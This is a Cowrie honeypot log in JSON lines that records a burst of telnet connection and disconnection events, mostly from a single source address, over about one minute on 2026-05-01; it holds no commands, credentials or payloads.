{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44858,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b2bce2bbdfb","protocol":"telnet","message":"New connection: 194.163.135.148:44858 (159.203.135.109:23) [session: 8b2bce2bbdfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:05.741011Z"}
{"eventid":"cowrie.session.closed","duration":37.52883863449097,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:06.091500Z","src_ip":"194.163.135.148","session":"f8d84c6b053e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44874,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f261c815fbc","protocol":"telnet","message":"New connection: 194.163.135.148:44874 (159.203.135.109:23) [session: 8f261c815fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:06.127562Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44886,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3201014bcef","protocol":"telnet","message":"New connection: 194.163.135.148:44886 (159.203.135.109:23) [session: f3201014bcef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:06.771504Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44892,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ddb1b1955b5","protocol":"telnet","message":"New connection: 194.163.135.148:44892 (159.203.135.109:23) [session: 4ddb1b1955b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:07.021188Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44894,"dst_ip":"159.203.135.109","dst_port":23,"session":"623bfccaab7a","protocol":"telnet","message":"New connection: 194.163.135.148:44894 (159.203.135.109:23) [session: 623bfccaab7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:07.046840Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44928,"dst_ip":"159.203.135.109","dst_port":23,"session":"55737f3f0ede","protocol":"telnet","message":"New connection: 194.163.135.148:44928 (159.203.135.109:23) [session: 55737f3f0ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:08.683781Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44912,"dst_ip":"159.203.135.109","dst_port":23,"session":"978847e47767","protocol":"telnet","message":"New connection: 194.163.135.148:44912 (159.203.135.109:23) [session: 978847e47767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:08.820085Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44954,"dst_ip":"159.203.135.109","dst_port":23,"session":"69acea83be8a","protocol":"telnet","message":"New connection: 194.163.135.148:44954 (159.203.135.109:23) [session: 69acea83be8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:10.109245Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":54240,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca75a4fb0e0","protocol":"telnet","message":"New connection: 103.115.172.252:54240 (10.17.0.5:23) [session: 0ca75a4fb0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:10.702606Z"}
{"eventid":"cowrie.session.closed","duration":31.591456174850464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:11.140063Z","src_ip":"194.163.135.148","session":"7c792420aae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44980,"dst_ip":"159.203.135.109","dst_port":23,"session":"05a1fd310ed6","protocol":"telnet","message":"New connection: 194.163.135.148:44980 (159.203.135.109:23) [session: 05a1fd310ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:11.695768Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":44984,"dst_ip":"159.203.135.109","dst_port":23,"session":"13dd6e949c45","protocol":"telnet","message":"New connection: 194.163.135.148:44984 (159.203.135.109:23) [session: 13dd6e949c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:12.033145Z"}
{"eventid":"cowrie.session.closed","duration":34.74176359176636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:12.448190Z","src_ip":"194.163.135.148","session":"15d461992051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45004,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed7b79f38552","protocol":"telnet","message":"New connection: 194.163.135.148:45004 (159.203.135.109:23) [session: ed7b79f38552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:13.081302Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45082,"dst_ip":"159.203.135.109","dst_port":23,"session":"d190bb8bd0cf","protocol":"telnet","message":"New connection: 194.163.135.148:45082 (159.203.135.109:23) [session: d190bb8bd0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:16.319963Z"}
{"eventid":"cowrie.session.closed","duration":33.24928021430969,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:16.820804Z","src_ip":"194.163.135.148","session":"8352a0d2757e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.16747450828552,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:16.913935Z","src_ip":"194.163.135.148","session":"560318d16bf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45116,"dst_ip":"159.203.135.109","dst_port":23,"session":"d25be2f9b294","protocol":"telnet","message":"New connection: 194.163.135.148:45116 (159.203.135.109:23) [session: d25be2f9b294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:18.597781Z"}
{"eventid":"cowrie.session.closed","duration":35.61187720298767,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:19.576217Z","src_ip":"194.163.135.148","session":"b9fca6177510","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45138,"dst_ip":"159.203.135.109","dst_port":23,"session":"f811ee7356e1","protocol":"telnet","message":"New connection: 194.163.135.148:45138 (159.203.135.109:23) [session: f811ee7356e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:19.611634Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45160,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb7ed9af3de7","protocol":"telnet","message":"New connection: 194.163.135.148:45160 (159.203.135.109:23) [session: eb7ed9af3de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:20.628591Z"}
{"eventid":"cowrie.session.closed","duration":37.147252798080444,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:21.425234Z","src_ip":"194.163.135.148","session":"55aa2e20b187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.74657344818115,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:22.052462Z","src_ip":"194.163.135.148","session":"6781d5f2b993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.171982526779175,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:22.329340Z","src_ip":"194.163.135.148","session":"0bb0005b69e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.73514199256897,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:22.387097Z","src_ip":"194.163.135.148","session":"82446dcff4d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45222,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eb34f676277","protocol":"telnet","message":"New connection: 194.163.135.148:45222 (159.203.135.109:23) [session: 6eb34f676277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:22.786831Z"}
{"eventid":"cowrie.session.closed","duration":37.98995399475098,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:24.504704Z","src_ip":"194.163.135.148","session":"8a2e08053e36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.06028509140015,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:24.724247Z","src_ip":"194.163.135.148","session":"aa4cdc0d970b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.44546627998352,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:26.186080Z","src_ip":"194.163.135.148","session":"a1a50086bbcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45304,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d2a1d51e3ed","protocol":"telnet","message":"New connection: 194.163.135.148:45304 (159.203.135.109:23) [session: 8d2a1d51e3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:26.516087Z"}
{"eventid":"cowrie.session.closed","duration":37.135796308517456,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:27.359239Z","src_ip":"194.163.135.148","session":"e10ec4ea7729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45320,"dst_ip":"159.203.135.109","dst_port":23,"session":"795c58dbf524","protocol":"telnet","message":"New connection: 194.163.135.148:45320 (159.203.135.109:23) [session: 795c58dbf524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:27.854211Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45352,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4ee27a07877","protocol":"telnet","message":"New connection: 194.163.135.148:45352 (159.203.135.109:23) [session: c4ee27a07877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:28.879395Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45358,"dst_ip":"159.203.135.109","dst_port":23,"session":"677692cc46dc","protocol":"telnet","message":"New connection: 194.163.135.148:45358 (159.203.135.109:23) [session: 677692cc46dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:29.057250Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45362,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c660dafb9c","protocol":"telnet","message":"New connection: 194.163.135.148:45362 (159.203.135.109:23) [session: 02c660dafb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:29.095411Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45368,"dst_ip":"159.203.135.109","dst_port":23,"session":"226e94d91b8f","protocol":"telnet","message":"New connection: 194.163.135.148:45368 (159.203.135.109:23) [session: 226e94d91b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:29.199462Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45410,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d57db686ad6","protocol":"telnet","message":"New connection: 194.163.135.148:45410 (159.203.135.109:23) [session: 1d57db686ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:30.809719Z"}
{"eventid":"cowrie.session.closed","duration":34.8876473903656,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:31.087219Z","src_ip":"194.163.135.148","session":"3d48981a872d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.5960328578949,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:31.984065Z","src_ip":"194.163.135.148","session":"50b57d22e8f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.23035669326782,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:33.551762Z","src_ip":"194.163.135.148","session":"5321b22afa6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.7009916305542,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:34.016921Z","src_ip":"194.163.135.148","session":"fa67e67a3ce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.75497388839722,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:37.240864Z","src_ip":"194.163.135.148","session":"0cac87e2bdd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45484,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa6ecc1b95d","protocol":"telnet","message":"New connection: 194.163.135.148:45484 (159.203.135.109:23) [session: ffa6ecc1b95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:37.786255Z"}
{"eventid":"cowrie.session.closed","duration":38.74866247177124,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:37.937030Z","src_ip":"194.163.135.148","session":"fad404261c2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49626803398132,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:38.470026Z","src_ip":"194.163.135.148","session":"f7b493b1dc66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.316649198532104,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:38.845872Z","src_ip":"194.163.135.148","session":"1162aeb4f5f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.755178928375244,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:39.069234Z","src_ip":"194.163.135.148","session":"5a4510dc1237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.710994243621826,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:39.424759Z","src_ip":"194.163.135.148","session":"af7e5574bea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45572,"dst_ip":"159.203.135.109","dst_port":23,"session":"e65b4a8e50c5","protocol":"telnet","message":"New connection: 194.163.135.148:45572 (159.203.135.109:23) [session: e65b4a8e50c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:39.447575Z"}
{"eventid":"cowrie.session.closed","duration":37.642179012298584,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:39.458039Z","src_ip":"194.163.135.148","session":"78939d38098c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41427183151245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:40.185639Z","src_ip":"194.163.135.148","session":"f3201014bcef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81703186035156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:40.557833Z","src_ip":"194.163.135.148","session":"8b2bce2bbdfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73504400253296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:40.781779Z","src_ip":"194.163.135.148","session":"623bfccaab7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.683988094329834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:42.367624Z","src_ip":"194.163.135.148","session":"55737f3f0ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28146815299988,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:42.408920Z","src_ip":"194.163.135.148","session":"8f261c815fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.559786796569824,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:43.668716Z","src_ip":"194.163.135.148","session":"69acea83be8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.956260204315186,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:43.776208Z","src_ip":"194.163.135.148","session":"978847e47767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.014862298965454,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:44.035922Z","src_ip":"194.163.135.148","session":"4ddb1b1955b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45684,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7d76d54070d","protocol":"telnet","message":"New connection: 194.163.135.148:45684 (159.203.135.109:23) [session: b7d76d54070d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:45.185096Z"}
{"eventid":"cowrie.session.closed","duration":33.57924818992615,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:45.612115Z","src_ip":"194.163.135.148","session":"13dd6e949c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d16d4c8c9b","protocol":"telnet","message":"New connection: 194.163.135.148:45712 (159.203.135.109:23) [session: f6d16d4c8c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:46.440390Z"}
{"eventid":"cowrie.session.closed","duration":34.82982683181763,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:46.525475Z","src_ip":"194.163.135.148","session":"05a1fd310ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.985655784606934,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:47.066804Z","src_ip":"194.163.135.148","session":"ed7b79f38552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45748,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7c7277a348f","protocol":"telnet","message":"New connection: 194.163.135.148:45748 (159.203.135.109:23) [session: f7c7277a348f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:47.981606Z"}
{"eventid":"cowrie.session.closed","duration":37.611170291900635,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:48.313627Z","src_ip":"103.115.172.252","session":"0ca75a4fb0e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45810,"dst_ip":"159.203.135.109","dst_port":23,"session":"6908af65e6fd","protocol":"telnet","message":"New connection: 194.163.135.148:45810 (159.203.135.109:23) [session: 6908af65e6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:51.819453Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45826,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e3692c2f53b","protocol":"telnet","message":"New connection: 194.163.135.148:45826 (159.203.135.109:23) [session: 6e3692c2f53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:52.618108Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45808,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4b7c617e2c6","protocol":"telnet","message":"New connection: 194.163.135.148:45808 (159.203.135.109:23) [session: a4b7c617e2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:52.826210Z"}
{"eventid":"cowrie.session.closed","duration":37.0199453830719,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:53.339718Z","src_ip":"194.163.135.148","session":"d190bb8bd0cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.21130418777466,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:54.809125Z","src_ip":"194.163.135.148","session":"d25be2f9b294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.331376791000366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:54.959877Z","src_ip":"194.163.135.148","session":"eb7ed9af3de7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45904,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fd4c7ed4053","protocol":"telnet","message":"New connection: 194.163.135.148:45904 (159.203.135.109:23) [session: 1fd4c7ed4053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:56.520435Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45894,"dst_ip":"159.203.135.109","dst_port":23,"session":"c252d83e57e2","protocol":"telnet","message":"New connection: 194.163.135.148:45894 (159.203.135.109:23) [session: c252d83e57e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:56.954305Z"}
{"eventid":"cowrie.session.closed","duration":37.38669967651367,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:56.998245Z","src_ip":"194.163.135.148","session":"f811ee7356e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97014808654785,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:58.756777Z","src_ip":"194.163.135.148","session":"6eb34f676277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.351314067840576,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:46:59.867277Z","src_ip":"194.163.135.148","session":"8d2a1d51e3ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.27142357826233,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:01.125463Z","src_ip":"194.163.135.148","session":"795c58dbf524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":45982,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d9f6751f6fd","protocol":"telnet","message":"New connection: 194.163.135.148:45982 (159.203.135.109:23) [session: 0d9f6751f6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:01.154596Z"}
{"eventid":"cowrie.session.closed","duration":34.05802130699158,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:03.257357Z","src_ip":"194.163.135.148","session":"226e94d91b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.70584797859192,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:03.515403Z","src_ip":"194.163.135.148","session":"1d57db686ad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.911134481430054,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:05.006470Z","src_ip":"194.163.135.148","session":"02c660dafb9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":46056,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fa026395cbd","protocol":"telnet","message":"New connection: 194.163.135.148:46056 (159.203.135.109:23) [session: 0fa026395cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:47:05.279639Z"}
